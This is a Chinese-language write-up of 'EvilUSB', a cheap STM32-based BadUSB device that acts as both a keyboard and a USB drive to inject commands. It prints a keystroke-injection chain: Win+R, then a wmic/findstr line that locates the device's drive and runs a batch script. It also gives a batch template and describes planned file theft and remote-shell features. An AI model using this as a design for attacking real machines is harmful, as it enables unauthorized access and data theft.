EvilUSB 项目总结

1. 引言

BadUSB 是指一类通过模拟键盘自动输入指令，实现信息窃取和恶意程序执行的 HID 攻击方法，最早由 SRLabs 在 2014 年美国黑帽大会上提出。起初的 BadUSB 设备是通过更改 U 盘中的控制器固件实现的，支持的设备型号较少。于是 RUBBER DUCKY（橡皮鸭）从原始的批操作设备逐步发展为一个成熟的 HID 攻击平台，并拥有完善的攻击脚本、可靠的硬件支持和活跃的技术论坛。但是由于价格原因，大多数研究人员首选 Teensy USB 开发板并基于 Arduino IDE 实现 HID 注入攻击。WHID 设备在此基础上加入了无线模块，能够实现数据收发和 Shell 的建立，拓宽了 BadUSB 的攻击场景。

然而上述攻击设备没有公开底层的逻辑代码，只开放了更新攻击脚本的接口，限制了用户自行 DIY 的空间。EvilUSB 是我基于 STM32F103C8T6 自行开发的一款 BadUSB 攻击设备，能够同时模拟出 U 盘和键盘进行攻击脚本的存储和执行，通过更改配置文件以适应中、英文输入环境，设备总成本不到 10 元。下面将详尽叙述各个功能的具体实现，源码及手册参见项目首页 http://evilusb.com。

2. 模拟键盘

STM32F103C8T6 是意法半导体推出的 ARM Cortex-M3 内核 MCU，包含一个全速模式 USB 接口，性价比高而且很容易入手，故而选取该型号芯片进行 EvilUSB 开发。

电脑主机是通过设备描述符识别 USB 设备类型的，并在规定的端点建立与设备的通信关系，因此要做的第一步是要配置好设备的描述符。参考 STM32F10X USB 设备开发套件(STM32_USB-FS-Device_Lib_V4.0.0)中 JoyStickMouse 例程，按照 lsj9383[1]的思路对配置描述符和报告描述符进行修改。

在电脑识别出 HID 设备的基础上，调整端点收发缓存区的分配，再配置设备的 Init 和 Reset 函数。接着就可以用 Joystick_Send 函数发送按键数据，参数非零代表有键按下，全零则代表松开。键码不同于 Ascii 码，可参加 MightyPork 整理的 usb_hid_keys.h[2]和我的例程 Evilusb_Keycode.h[3]。由于 BadUSB 要求很高的攻击代码注入速度，故而可通过状态机用 DMA 加速传输。为了解决字符输入过快导致的错误和遗漏问题，需要要配置描述符中的 bInterval 调到一个很低的值以缩短主机的响应时间。最后一个问题是主机输入法默认的大小写及中英文环境

不符合程序要求导致的注入失败，这个可以通过模拟 U 盘中的配置文件进行手动切换，下一章将详尽叙述。

3. 模拟 U 盘

一个可以同时模拟出多个逻辑设备的 USB 设备称为复合设备，复合设备具有高集成、低成本、多功能的优点。Evilusb 使用内部的 NandFlash 空间来存放数据、模拟一个几十 Kb 大小的 U 盘（该型芯片官方宣称 flash 大小为 64Kb，实际大小为 128Kb），能够满足攻击脚本和配置文件的存储要求。

复合设备工程参考官方的 Composite_Example 例程，更改配置描述符、端点缓存分配、设备初始化和复位函数以及各个端点的回调函数。按照 zengming00[4] 的教程，对 mass_mal.c 中的 MAL_Init,MAL_GetStatus,MAL_Read,MAL_Write 函数进行修改，使之解锁访问并读写内部 flash 数据。这样操作之后就能在电脑上显示出一个 U 盘，但由于没有添加内部的文件系统，格式化成 FAT 格式后才能正常访问。

配置文件包含了 Default_Waiting_Time,Default_Reaction_Time,Default_Language,Default_CapsLock 四个参数，分别用来设置起始时间、响应时间、中英文和大小写环境。系统上电后会从指定的地址读取这些配置，所以配置文件的排版格式不得改动（缺少内部文件系统的弊端）。模拟 U 盘的另一个重要功能就是与主机通信，配合无线通信模块可以实现远程文件传输和 Shell 的建立。

4. 攻击流程

Evilusb 插入电脑后会延迟一段时间等待系统识别完毕，然后陆续执行：

Win+R //调出 cmdShell

(wmic LOGICALDISK where filesystem="FAT" get name | findstr ":" && echo EvilUSB.bat) >%tmp%\TMP.bat //输入模拟 U 盘盘符和攻击脚本文件名到缓存脚本文件中

%tmp%\TMP.bat || exit //执行刚才的缓存脚本文件然后退出

EvilUSB.bat 的文件内容如下，首先检查主机用户是否是攻击对象，然后再调用攻击脚本，删除用到的缓存文件以避免磁盘损坏。

```
@echo off
rem Debug_Check : Avoid Attacking Your Own PC
rem ------------------------------------------------------
if "%username%"=="kinciad" (exit)
rem Task_Start : Add CMD Command Here, Execute Another Script If It's Much Large!
rem ------------------------------------------------------
```

```
echo %username% > TMP
rem test.bat
rem Task_Over : Delete Cache Can Help Avoid Losing File and Disk!
rem ------------------------------------------------------
rem del /F /S /Q TMP
```

5. 攻击测试（硬件制作、程序下载和攻击测试）

6. 总结与展望

本例完成了基于 STM32F103C8T6 模拟键盘和 U 盘实现 HID 注入攻击的 BadUSB 设备软硬件原型设计，接下来将在三个方面做出改进：一是增加 SD 卡卡槽扩展 U 盘容量，方便文件窃取；二是通过添加无线通信模块建立远程 Shell、实现无线配置和文件传输；第三是加入 Bootloader，实现安全的 U 盘升级(OTG)和无线网络升级(OTA)。

7. 资源及参考文档

[1] 关于 KEIL 提供的 JoystickMouse 例程 转化为 USB 虚拟键盘
http://www.openedv.com/thread-10971-1-1.html(出处: OpenEdv-开源电子网)
[2] usb_hid_keys.h
https://gist.github.com/MightyPork/6da26e382a7ad91b5496ee55fdc73db2
[3] Evilusb_Keycode.h http://evilusb.com#Resource
[4] U 盘 GPIO 文件系统映射-STM32 利用内置 FLASH 做 U 盘
http://bbs.mydigit.cn/read.php?tid=1771843